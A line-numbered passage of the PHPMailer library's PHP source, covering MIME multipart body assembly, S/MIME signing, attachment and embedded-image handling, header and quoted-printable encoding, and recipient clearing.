  2594.                 $body .= $this->textLine('--' . $this->boundary[1]);
  2595.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2596.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2597.                 $body .= $this->LE;
  2598.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2599.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2600.                 $body .= $this->LE . $this->LE;
  2601.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  2602.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2603.                 $body .= $this->LE . $this->LE;
  2604.                 $body .= $this->endBoundary($this->boundary[2]);
  2605.                 $body .= $this->LE;
  2606.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  2607.                 break;
  2608.             case 'alt_inline_attach':
  2609.                 $body .= $mimepre;
  2610.                 $body .= $this->textLine('--' . $this->boundary[1]);
  2611.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2612.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2613.                 $body .= $this->LE;
  2614.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2615.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2616.                 $body .= $this->LE . $this->LE;
  2617.                 $body .= $this->textLine('--' . $this->boundary[2]);
  2618.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2619.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  2620.                 $body .= $this->LE;
  2621.                 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  2622.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2623.                 $body .= $this->LE . $this->LE;
  2624.                 $body .= $this->attachAll('inline', $this->boundary[3]);
  2625.                 $body .= $this->LE;
  2626.                 $body .= $this->endBoundary($this->boundary[2]);
  2627.                 $body .= $this->LE;
  2628.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  2629.                 break;
  2630.             default:
  2631.                 // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
  2632.                 //Reset the `Encoding` property in case we changed it for line length reasons
  2633.                 $this->Encoding = $bodyEncoding;
  2634.                 $body .= $this->encodeString($this->Body, $this->Encoding);
  2635.                 break;
  2636.         }
  2637.  
  2638.         if ($this->isError()) {
  2639.             $body = '';
  2640.         } elseif ($this->sign_key_file) {
  2641.             try {
  2642.                 if (!defined('PKCS7_TEXT')) {
  2643.                     throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  2644.                 }
  2645.                 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  2646.                 $file = tempnam(sys_get_temp_dir(), 'mail');
  2647.                 if (false === file_put_contents($file, $body)) {
  2648.                     throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  2649.                 }
  2650.                 $signed = tempnam(sys_get_temp_dir(), 'signed');
  2651.                 //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
  2652.                 if (empty($this->sign_extracerts_file)) {
  2653.                     $sign = @openssl_pkcs7_sign(
  2654.                         $file,
  2655.                         $signed,
  2656.                         'file://' . realpath($this->sign_cert_file),
  2657.                         array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  2658.                         null
  2659.                     );
  2660.                 } else {
  2661.                     $sign = @openssl_pkcs7_sign(
  2662.                         $file,
  2663.                         $signed,
  2664.                         'file://' . realpath($this->sign_cert_file),
  2665.                         array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  2666.                         null,
  2667.                         PKCS7_DETACHED,
  2668.                         $this->sign_extracerts_file
  2669.                     );
  2670.                 }
  2671.                 if ($sign) {
  2672.                     @unlink($file);
  2673.                     $body = file_get_contents($signed);
  2674.                     @unlink($signed);
  2675.                     //The message returned by openssl contains both headers and body, so need to split them up
  2676.                     $parts = explode("\n\n", $body, 2);
  2677.                     $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
  2678.                     $body = $parts[1];
  2679.                 } else {
  2680.                     @unlink($file);
  2681.                     @unlink($signed);
  2682.                     throw new phpmailerException($this->lang('signing') . openssl_error_string());
  2683.                 }
  2684.             } catch (phpmailerException $exc) {
  2685.                 $body = '';
  2686.                 if ($this->exceptions) {
  2687.                     throw $exc;
  2688.                 }
  2689.             }
  2690.         }
  2691.         return $body;
  2692.     }
  2693.  
  2694.     /**
  2695.      * Return the start of a message boundary.
  2696.      * @access protected
  2697.      * @param string $boundary
  2698.      * @param string $charSet
  2699.      * @param string $contentType
  2700.      * @param string $encoding
  2701.      * @return string
  2702.      */
  2703.     protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  2704.     {
  2705.         $result = '';
  2706.         if ($charSet == '') {
  2707.             $charSet = $this->CharSet;
  2708.         }
  2709.         if ($contentType == '') {
  2710.             $contentType = $this->ContentType;
  2711.         }
  2712.         if ($encoding == '') {
  2713.             $encoding = $this->Encoding;
  2714.         }
  2715.         $result .= $this->textLine('--' . $boundary);
  2716.         $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  2717.         $result .= $this->LE;
  2718.         // RFC1341 part 5 says 7bit is assumed if not specified
  2719.         if ($encoding != '7bit') {
  2720.             $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  2721.         }
  2722.         $result .= $this->LE;
  2723.  
  2724.         return $result;
  2725.     }
  2726.  
  2727.     /**
  2728.      * Return the end of a message boundary.
  2729.      * @access protected
  2730.      * @param string $boundary
  2731.      * @return string
  2732.      */
  2733.     protected function endBoundary($boundary)
  2734.     {
  2735.         return $this->LE . '--' . $boundary . '--' . $this->LE;
  2736.     }
  2737.  
  2738.     /**
  2739.      * Set the message type.
  2740.      * PHPMailer only supports some preset message types, not arbitrary MIME structures.
  2741.      * @access protected
  2742.      * @return void
  2743.      */
  2744.     protected function setMessageType()
  2745.     {
  2746.         $type = array();
  2747.         if ($this->alternativeExists()) {
  2748.             $type[] = 'alt';
  2749.         }
  2750.         if ($this->inlineImageExists()) {
  2751.             $type[] = 'inline';
  2752.         }
  2753.         if ($this->attachmentExists()) {
  2754.             $type[] = 'attach';
  2755.         }
  2756.         $this->message_type = implode('_', $type);
  2757.         if ($this->message_type == '') {
  2758.             //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
  2759.             $this->message_type = 'plain';
  2760.         }
  2761.     }
  2762.  
  2763.     /**
  2764.      * Format a header line.
  2765.      * @access public
  2766.      * @param string $name
  2767.      * @param string $value
  2768.      * @return string
  2769.      */
  2770.     public function headerLine($name, $value)
  2771.     {
  2772.         return $name . ': ' . $value . $this->LE;
  2773.     }
  2774.  
  2775.     /**
  2776.      * Return a formatted mail line.
  2777.      * @access public
  2778.      * @param string $value
  2779.      * @return string
  2780.      */
  2781.     public function textLine($value)
  2782.     {
  2783.         return $value . $this->LE;
  2784.     }
  2785.  
  2786.     /**
  2787.      * Add an attachment from a path on the filesystem.
  2788.      * Never use a user-supplied path to a file!
  2789.      * Returns false if the file could not be found or read.
  2790.      * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
  2791.      * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
  2792.      * @param string $path Path to the attachment.
  2793.      * @param string $name Overrides the attachment name.
  2794.      * @param string $encoding File encoding (see $Encoding).
  2795.      * @param string $type File extension (MIME) type.
  2796.      * @param string $disposition Disposition to use
  2797.      * @throws phpmailerException
  2798.      * @return boolean
  2799.      */
  2800.     public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  2801.     {
  2802.         try {
  2803.             if (!self::isPermittedPath($path) or !@is_file($path)) {
  2804.                 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  2805.             }
  2806.  
  2807.             // If a MIME type is not specified, try to work it out from the file name
  2808.             if ($type == '') {
  2809.                 $type = self::filenameToType($path);
  2810.             }
  2811.  
  2812.             $filename = basename($path);
  2813.             if ($name == '') {
  2814.                 $name = $filename;
  2815.             }
  2816.  
  2817.             $this->attachment[] = array(
  2818.                 0 => $path,
  2819.                 1 => $filename,
  2820.                 2 => $name,
  2821.                 3 => $encoding,
  2822.                 4 => $type,
  2823.                 5 => false, // isStringAttachment
  2824.                 6 => $disposition,
  2825.                 7 => 0
  2826.             );
  2827.  
  2828.         } catch (phpmailerException $exc) {
  2829.             $this->setError($exc->getMessage());
  2830.             $this->edebug($exc->getMessage());
  2831.             if ($this->exceptions) {
  2832.                 throw $exc;
  2833.             }
  2834.             return false;
  2835.         }
  2836.         return true;
  2837.     }
  2838.  
  2839.     /**
  2840.      * Return the array of attachments.
  2841.      * @return array
  2842.      */
  2843.     public function getAttachments()
  2844.     {
  2845.         return $this->attachment;
  2846.     }
  2847.  
  2848.     /**
  2849.      * Attach all file, string, and binary attachments to the message.
  2850.      * Returns an empty string on failure.
  2851.      * @access protected
  2852.      * @param string $disposition_type
  2853.      * @param string $boundary
  2854.      * @return string
  2855.      */
  2856.     protected function attachAll($disposition_type, $boundary)
  2857.     {
  2858.         // Return text of body
  2859.         $mime = array();
  2860.         $cidUniq = array();
  2861.         $incl = array();
  2862.  
  2863.         // Add all attachments
  2864.         foreach ($this->attachment as $attachment) {
  2865.             // Check if it is a valid disposition_filter
  2866.             if ($attachment[6] == $disposition_type) {
  2867.                 // Check for string attachment
  2868.                 $string = '';
  2869.                 $path = '';
  2870.                 $bString = $attachment[5];
  2871.                 if ($bString) {
  2872.                     $string = $attachment[0];
  2873.                 } else {
  2874.                     $path = $attachment[0];
  2875.                 }
  2876.  
  2877.                 $inclhash = md5(serialize($attachment));
  2878.                 if (in_array($inclhash, $incl)) {
  2879.                     continue;
  2880.                 }
  2881.                 $incl[] = $inclhash;
  2882.                 $name = $attachment[2];
  2883.                 $encoding = $attachment[3];
  2884.                 $type = $attachment[4];
  2885.                 $disposition = $attachment[6];
  2886.                 $cid = $attachment[7];
  2887.                 if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
  2888.                     continue;
  2889.                 }
  2890.                 $cidUniq[$cid] = true;
  2891.  
  2892.                 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  2893.                 //Only include a filename property if we have one
  2894.                 if (!empty($name)) {
  2895.                     $mime[] = sprintf(
  2896.                         'Content-Type: %s; name="%s"%s',
  2897.                         $type,
  2898.                         $this->encodeHeader($this->secureHeader($name)),
  2899.                         $this->LE
  2900.                     );
  2901.                 } else {
  2902.                     $mime[] = sprintf(
  2903.                         'Content-Type: %s%s',
  2904.                         $type,
  2905.                         $this->LE
  2906.                     );
  2907.                 }
  2908.                 // RFC1341 part 5 says 7bit is assumed if not specified
  2909.                 if ($encoding != '7bit') {
  2910.                     $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  2911.                 }
  2912.  
  2913.                 if ($disposition == 'inline') {
  2914.                     $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  2915.                 }
  2916.  
  2917.                 // If a filename contains any of these chars, it should be quoted,
  2918.                 // but not otherwise: RFC2183 & RFC2045 5.1
  2919.                 // Fixes a warning in IETF's msglint MIME checker
  2920.                 // Allow for bypassing the Content-Disposition header totally
  2921.                 if (!(empty($disposition))) {
  2922.                     $encoded_name = $this->encodeHeader($this->secureHeader($name));
  2923.                     if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  2924.                         $mime[] = sprintf(
  2925.                             'Content-Disposition: %s; filename="%s"%s',
  2926.                             $disposition,
  2927.                             $encoded_name,
  2928.                             $this->LE . $this->LE
  2929.                         );
  2930.                     } else {
  2931.                         if (!empty($encoded_name)) {
  2932.                             $mime[] = sprintf(
  2933.                                 'Content-Disposition: %s; filename=%s%s',
  2934.                                 $disposition,
  2935.                                 $encoded_name,
  2936.                                 $this->LE . $this->LE
  2937.                             );
  2938.                         } else {
  2939.                             $mime[] = sprintf(
  2940.                                 'Content-Disposition: %s%s',
  2941.                                 $disposition,
  2942.                                 $this->LE . $this->LE
  2943.                             );
  2944.                         }
  2945.                     }
  2946.                 } else {
  2947.                     $mime[] = $this->LE;
  2948.                 }
  2949.  
  2950.                 // Encode as string attachment
  2951.                 if ($bString) {
  2952.                     $mime[] = $this->encodeString($string, $encoding);
  2953.                     if ($this->isError()) {
  2954.                         return '';
  2955.                     }
  2956.                     $mime[] = $this->LE . $this->LE;
  2957.                 } else {
  2958.                     $mime[] = $this->encodeFile($path, $encoding);
  2959.                     if ($this->isError()) {
  2960.                         return '';
  2961.                     }
  2962.                     $mime[] = $this->LE . $this->LE;
  2963.                 }
  2964.             }
  2965.         }
  2966.  
  2967.         $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  2968.  
  2969.         return implode('', $mime);
  2970.     }
  2971.  
  2972.     /**
  2973.      * Encode a file attachment in requested format.
  2974.      * Returns an empty string on failure.
  2975.      * @param string $path The full path to the file
  2976.      * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2977.      * @throws phpmailerException
  2978.      * @access protected
  2979.      * @return string
  2980.      */
  2981.     protected function encodeFile($path, $encoding = 'base64')
  2982.     {
  2983.         try {
  2984.             if (!self::isPermittedPath($path) or !file_exists($path)) {
  2985.                 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  2986.             }
  2987.             $magic_quotes = false;
  2988.             if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
  2989.                 $magic_quotes = get_magic_quotes_runtime();
  2990.             }
  2991.             if ($magic_quotes) {
  2992.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2993.                     set_magic_quotes_runtime(false);
  2994.                 } else {
  2995.                     //Doesn't exist in PHP 5.4, but we don't need to check because
  2996.                     //get_magic_quotes_runtime always returns false in 5.4+
  2997.                     //so it will never get here
  2998.                     ini_set('magic_quotes_runtime', false);
  2999.                 }
  3000.             }
  3001.             $file_buffer = file_get_contents($path);
  3002.             $file_buffer = $this->encodeString($file_buffer, $encoding);
  3003.             if ($magic_quotes) {
  3004.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  3005.                     set_magic_quotes_runtime($magic_quotes);
  3006.                 } else {
  3007.                     ini_set('magic_quotes_runtime', $magic_quotes);
  3008.                 }
  3009.             }
  3010.             return $file_buffer;
  3011.         } catch (Exception $exc) {
  3012.             $this->setError($exc->getMessage());
  3013.             return '';
  3014.         }
  3015.     }
  3016.  
  3017.     /**
  3018.      * Encode a string in requested format.
  3019.      * Returns an empty string on failure.
  3020.      * @param string $str The text to encode
  3021.      * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  3022.      * @access public
  3023.      * @return string
  3024.      */
  3025.     public function encodeString($str, $encoding = 'base64')
  3026.     {
  3027.         $encoded = '';
  3028.         switch (strtolower($encoding)) {
  3029.             case 'base64':
  3030.                 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  3031.                 break;
  3032.             case '7bit':
  3033.             case '8bit':
  3034.                 $encoded = $this->fixEOL($str);
  3035.                 // Make sure it ends with a line break
  3036.                 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  3037.                     $encoded .= $this->LE;
  3038.                 }
  3039.                 break;
  3040.             case 'binary':
  3041.                 $encoded = $str;
  3042.                 break;
  3043.             case 'quoted-printable':
  3044.                 $encoded = $this->encodeQP($str);
  3045.                 break;
  3046.             default:
  3047.                 $this->setError($this->lang('encoding') . $encoding);
  3048.                 break;
  3049.         }
  3050.         return $encoded;
  3051.     }
  3052.  
  3053.     /**
  3054.      * Encode a header string optimally.
  3055.      * Picks shortest of Q, B, quoted-printable or none.
  3056.      * @access public
  3057.      * @param string $str
  3058.      * @param string $position
  3059.      * @return string
  3060.      */
  3061.     public function encodeHeader($str, $position = 'text')
  3062.     {
  3063.         $matchcount = 0;
  3064.         switch (strtolower($position)) {
  3065.             case 'phrase':
  3066.                 if (!preg_match('/[\200-\377]/', $str)) {
  3067.                     // Can't use addslashes as we don't know the value of magic_quotes_sybase
  3068.                     $encoded = addcslashes($str, "\0..\37\177\\\"");
  3069.                     if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  3070.                         return ($encoded);
  3071.                     } else {
  3072.                         return ("\"$encoded\"");
  3073.                     }
  3074.                 }
  3075.                 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  3076.                 break;
  3077.             /** @noinspection PhpMissingBreakStatementInspection */
  3078.             case 'comment':
  3079.                 $matchcount = preg_match_all('/[()"]/', $str, $matches);
  3080.                 // Intentional fall-through
  3081.             case 'text':
  3082.             default:
  3083.                 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  3084.                 break;
  3085.         }
  3086.  
  3087.         //There are no chars that need encoding
  3088.         if ($matchcount == 0) {
  3089.             return ($str);
  3090.         }
  3091.  
  3092.         $maxlen = 75 - 7 - strlen($this->CharSet);
  3093.         // Try to select the encoding which should produce the shortest output
  3094.         if ($matchcount > strlen($str) / 3) {
  3095.             // More than a third of the content will need encoding, so B encoding will be most efficient
  3096.             $encoding = 'B';
  3097.             if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  3098.                 // Use a custom function which correctly encodes and wraps long
  3099.                 // multibyte strings without breaking lines within a character
  3100.                 $encoded = $this->base64EncodeWrapMB($str, "\n");
  3101.             } else {
  3102.                 $encoded = base64_encode($str);
  3103.                 $maxlen -= $maxlen % 4;
  3104.                 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  3105.             }
  3106.         } else {
  3107.             $encoding = 'Q';
  3108.             $encoded = $this->encodeQ($str, $position);
  3109.             $encoded = $this->wrapText($encoded, $maxlen, true);
  3110.             $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  3111.         }
  3112.  
  3113.         $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  3114.         $encoded = trim(str_replace("\n", $this->LE, $encoded));
  3115.  
  3116.         return $encoded;
  3117.     }
  3118.  
  3119.     /**
  3120.      * Check if a string contains multi-byte characters.
  3121.      * @access public
  3122.      * @param string $str multi-byte text to wrap encode
  3123.      * @return boolean
  3124.      */
  3125.     public function hasMultiBytes($str)
  3126.     {
  3127.         if (function_exists('mb_strlen')) {
  3128.             return (strlen($str) > mb_strlen($str, $this->CharSet));
  3129.         } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  3130.             return false;
  3131.         }
  3132.     }
  3133.  
  3134.     /**
  3135.      * Does a string contain any 8-bit chars (in any charset)?
  3136.      * @param string $text
  3137.      * @return boolean
  3138.      */
  3139.     public function has8bitChars($text)
  3140.     {
  3141.         return (boolean)preg_match('/[\x80-\xFF]/', $text);
  3142.     }
  3143.  
  3144.     /**
  3145.      * Encode and wrap long multibyte strings for mail headers
  3146.      * without breaking lines within a character.
  3147.      * Adapted from a function by paravoid
  3148.      * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
  3149.      * @access public
  3150.      * @param string $str multi-byte text to wrap encode
  3151.      * @param string $linebreak string to use as linefeed/end-of-line
  3152.      * @return string
  3153.      */
  3154.     public function base64EncodeWrapMB($str, $linebreak = null)
  3155.     {
  3156.         $start = '=?' . $this->CharSet . '?B?';
  3157.         $end = '?=';
  3158.         $encoded = '';
  3159.         if ($linebreak === null) {
  3160.             $linebreak = $this->LE;
  3161.         }
  3162.  
  3163.         $mb_length = mb_strlen($str, $this->CharSet);
  3164.         // Each line must have length <= 75, including $start and $end
  3165.         $length = 75 - strlen($start) - strlen($end);
  3166.         // Average multi-byte ratio
  3167.         $ratio = $mb_length / strlen($str);
  3168.         // Base64 has a 4:3 ratio
  3169.         $avgLength = floor($length * $ratio * .75);
  3170.  
  3171.         for ($i = 0; $i < $mb_length; $i += $offset) {
  3172.             $lookBack = 0;
  3173.             do {
  3174.                 $offset = $avgLength - $lookBack;
  3175.                 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  3176.                 $chunk = base64_encode($chunk);
  3177.                 $lookBack++;
  3178.             } while (strlen($chunk) > $length);
  3179.             $encoded .= $chunk . $linebreak;
  3180.         }
  3181.  
  3182.         // Chomp the last linefeed
  3183.         $encoded = substr($encoded, 0, -strlen($linebreak));
  3184.         return $encoded;
  3185.     }
  3186.  
  3187.     /**
  3188.      * Encode a string in quoted-printable format.
  3189.      * According to RFC2045 section 6.7.
  3190.      * @access public
  3191.      * @param string $string The text to encode
  3192.      * @param integer $line_max Number of chars allowed on a line before wrapping
  3193.      * @return string
  3194.      * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
  3195.      */
  3196.     public function encodeQP($string, $line_max = 76)
  3197.     {
  3198.         // Use native function if it's available (>= PHP5.3)
  3199.         if (function_exists('quoted_printable_encode')) {
  3200.             return quoted_printable_encode($string);
  3201.         }
  3202.         // Fall back to a pure PHP implementation
  3203.         $string = str_replace(
  3204.             array('%20', '%0D%0A.', '%0D%0A', '%'),
  3205.             array(' ', "\r\n=2E", "\r\n", '='),
  3206.             rawurlencode($string)
  3207.         );
  3208.         return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  3209.     }
  3210.  
  3211.     /**
  3212.      * Backward compatibility wrapper for an old QP encoding function that was removed.
  3213.      * @see PHPMailer::encodeQP()
  3214.      * @access public
  3215.      * @param string $string
  3216.      * @param integer $line_max
  3217.      * @param boolean $space_conv
  3218.      * @return string
  3219.      * @deprecated Use encodeQP instead.
  3220.      */
  3221.     public function encodeQPphp(
  3222.         $string,
  3223.         $line_max = 76,
  3224.         /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
  3225.     ) {
  3226.         return $this->encodeQP($string, $line_max);
  3227.     }
  3228.  
  3229.     /**
  3230.      * Encode a string using Q encoding.
  3231.      * @link http://tools.ietf.org/html/rfc2047
  3232.      * @param string $str the text to encode
  3233.      * @param string $position Where the text is going to be used, see the RFC for what that means
  3234.      * @access public
  3235.      * @return string
  3236.      */
  3237.     public function encodeQ($str, $position = 'text')
  3238.     {
  3239.         // There should not be any EOL in the string
  3240.         $pattern = '';
  3241.         $encoded = str_replace(array("\r", "\n"), '', $str);
  3242.         switch (strtolower($position)) {
  3243.             case 'phrase':
  3244.                 // RFC 2047 section 5.3
  3245.                 $pattern = '^A-Za-z0-9!*+\/ -';
  3246.                 break;
  3247.             /** @noinspection PhpMissingBreakStatementInspection */
  3248.             case 'comment':
  3249.                 // RFC 2047 section 5.2
  3250.                 $pattern = '\(\)"';
  3251.                 // intentional fall-through
  3252.                 // for this reason we build the $pattern without including delimiters and []
  3253.             case 'text':
  3254.             default:
  3255.                 // RFC 2047 section 5.1
  3256.                 // Replace every high ascii, control, =, ? and _ characters
  3257.                 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  3258.                 break;
  3259.         }
  3260.         $matches = array();
  3261.         if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  3262.             // If the string contains an '=', make sure it's the first thing we replace
  3263.             // so as to avoid double-encoding
  3264.             $eqkey = array_search('=', $matches[0]);
  3265.             if (false !== $eqkey) {
  3266.                 unset($matches[0][$eqkey]);
  3267.                 array_unshift($matches[0], '=');
  3268.             }
  3269.             foreach (array_unique($matches[0]) as $char) {
  3270.                 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  3271.             }
  3272.         }
  3273.         // Replace every spaces to _ (more readable than =20)
  3274.         return str_replace(' ', '_', $encoded);
  3275.     }
  3276.  
  3277.     /**
  3278.      * Add a string or binary attachment (non-filesystem).
  3279.      * This method can be used to attach ascii or binary data,
  3280.      * such as a BLOB record from a database.
  3281.      * @param string $string String attachment data.
  3282.      * @param string $filename Name of the attachment.
  3283.      * @param string $encoding File encoding (see $Encoding).
  3284.      * @param string $type File extension (MIME) type.
  3285.      * @param string $disposition Disposition to use
  3286.      * @return void
  3287.      */
  3288.     public function addStringAttachment(
  3289.         $string,
  3290.         $filename,
  3291.         $encoding = 'base64',
  3292.         $type = '',
  3293.         $disposition = 'attachment'
  3294.     ) {
  3295.         // If a MIME type is not specified, try to work it out from the file name
  3296.         if ($type == '') {
  3297.             $type = self::filenameToType($filename);
  3298.         }
  3299.         // Append to $attachment array
  3300.         $this->attachment[] = array(
  3301.             0 => $string,
  3302.             1 => $filename,
  3303.             2 => basename($filename),
  3304.             3 => $encoding,
  3305.             4 => $type,
  3306.             5 => true, // isStringAttachment
  3307.             6 => $disposition,
  3308.             7 => 0
  3309.         );
  3310.     }
  3311.  
  3312.     /**
  3313.      * Add an embedded (inline) attachment from a file.
  3314.      * This can include images, sounds, and just about any other document type.
  3315.      * These differ from 'regular' attachments in that they are intended to be
  3316.      * displayed inline with the message, not just attached for download.
  3317.      * This is used in HTML messages that embed the images
  3318.      * the HTML refers to using the $cid value.
  3319.      * Never use a user-supplied path to a file!
  3320.      * @param string $path Path to the attachment.
  3321.      * @param string $cid Content ID of the attachment; Use this to reference
  3322.      *        the content when using an embedded image in HTML.
  3323.      * @param string $name Overrides the attachment name.
  3324.      * @param string $encoding File encoding (see $Encoding).
  3325.      * @param string $type File MIME type.
  3326.      * @param string $disposition Disposition to use
  3327.      * @return boolean True on successfully adding an attachment
  3328.      */
  3329.     public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  3330.     {
  3331.         if (!self::isPermittedPath($path) or !@is_file($path)) {
  3332.             $this->setError($this->lang('file_access') . $path);
  3333.             return false;
  3334.         }
  3335.  
  3336.         // If a MIME type is not specified, try to work it out from the file name
  3337.         if ($type == '') {
  3338.             $type = self::filenameToType($path);
  3339.         }
  3340.  
  3341.         $filename = basename($path);
  3342.         if ($name == '') {
  3343.             $name = $filename;
  3344.         }
  3345.  
  3346.         // Append to $attachment array
  3347.         $this->attachment[] = array(
  3348.             0 => $path,
  3349.             1 => $filename,
  3350.             2 => $name,
  3351.             3 => $encoding,
  3352.             4 => $type,
  3353.             5 => false, // isStringAttachment
  3354.             6 => $disposition,
  3355.             7 => $cid
  3356.         );
  3357.         return true;
  3358.     }
  3359.  
  3360.     /**
  3361.      * Add an embedded stringified attachment.
  3362.      * This can include images, sounds, and just about any other document type.
  3363.      * Be sure to set the $type to an image type for images:
  3364.      * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
  3365.      * @param string $string The attachment binary data.
  3366.      * @param string $cid Content ID of the attachment; Use this to reference
  3367.      *        the content when using an embedded image in HTML.
  3368.      * @param string $name
  3369.      * @param string $encoding File encoding (see $Encoding).
  3370.      * @param string $type MIME type.
  3371.      * @param string $disposition Disposition to use
  3372.      * @return boolean True on successfully adding an attachment
  3373.      */
  3374.     public function addStringEmbeddedImage(
  3375.         $string,
  3376.         $cid,
  3377.         $name = '',
  3378.         $encoding = 'base64',
  3379.         $type = '',
  3380.         $disposition = 'inline'
  3381.     ) {
  3382.         // If a MIME type is not specified, try to work it out from the name
  3383.         if ($type == '' and !empty($name)) {
  3384.             $type = self::filenameToType($name);
  3385.         }
  3386.  
  3387.         // Append to $attachment array
  3388.         $this->attachment[] = array(
  3389.             0 => $string,
  3390.             1 => $name,
  3391.             2 => $name,
  3392.             3 => $encoding,
  3393.             4 => $type,
  3394.             5 => true, // isStringAttachment
  3395.             6 => $disposition,
  3396.             7 => $cid
  3397.         );
  3398.         return true;
  3399.     }
  3400.  
  3401.     /**
  3402.      * Check if an inline attachment is present.
  3403.      * @access public
  3404.      * @return boolean
  3405.      */
  3406.     public function inlineImageExists()
  3407.     {
  3408.         foreach ($this->attachment as $attachment) {
  3409.             if ($attachment[6] == 'inline') {
  3410.                 return true;
  3411.             }
  3412.         }
  3413.         return false;
  3414.     }
  3415.  
  3416.     /**
  3417.      * Check if an attachment (non-inline) is present.
  3418.      * @return boolean
  3419.      */
  3420.     public function attachmentExists()
  3421.     {
  3422.         foreach ($this->attachment as $attachment) {
  3423.             if ($attachment[6] == 'attachment') {
  3424.                 return true;
  3425.             }
  3426.         }
  3427.         return false;
  3428.     }
  3429.  
  3430.     /**
  3431.      * Check if this message has an alternative body set.
  3432.      * @return boolean
  3433.      */
  3434.     public function alternativeExists()
  3435.     {
  3436.         return !empty($this->AltBody);
  3437.     }
  3438.  
  3439.     /**
  3440.      * Clear queued addresses of given kind.
  3441.      * @access protected
  3442.      * @param string $kind 'to', 'cc', or 'bcc'
  3443.      * @return void
  3444.      */
  3445.     public function clearQueuedAddresses($kind)
  3446.     {
  3447.         $RecipientsQueue = $this->RecipientsQueue;
  3448.         foreach ($RecipientsQueue as $address => $params) {
  3449.             if ($params[0] == $kind) {
  3450.                 unset($this->RecipientsQueue[$address]);
  3451.             }
  3452.         }
  3453.     }
  3454.  
  3455.     /**
  3456.      * Clear all To recipients.
  3457.      * @return void
  3458.      */
  3459.     public function clearAddresses()
  3460.     {
  3461.         foreach ($this->to as $to) {
  3462.             unset($this->all_recipients[strtolower($to[0])]);
  3463.         }
  3464.         $this->to = array();
  3465.         $this->clearQueuedAddresses('to');
  3466.     }
  3467.  
  3468.     /**
  3469.      * Clear all CC recipients.
  3470.      * @return void
  3471.      */
  3472.     public function clearCCs()
  3473.     {
  3474.         foreach ($this->cc as $cc) {
  3475.             unset($this->all_recipients[strtolower($cc[0])]);
  3476.         }
  3477.         $this->cc = array();
  3478.         $this->clearQueuedAddresses('cc');
  3479.     }
  3480.  
  3481.     /**
  3482.      * Clear all BCC recipients.
  3483.      * @return void
  3484.      */
  3485.     public function clearBCCs()
  3486.     {
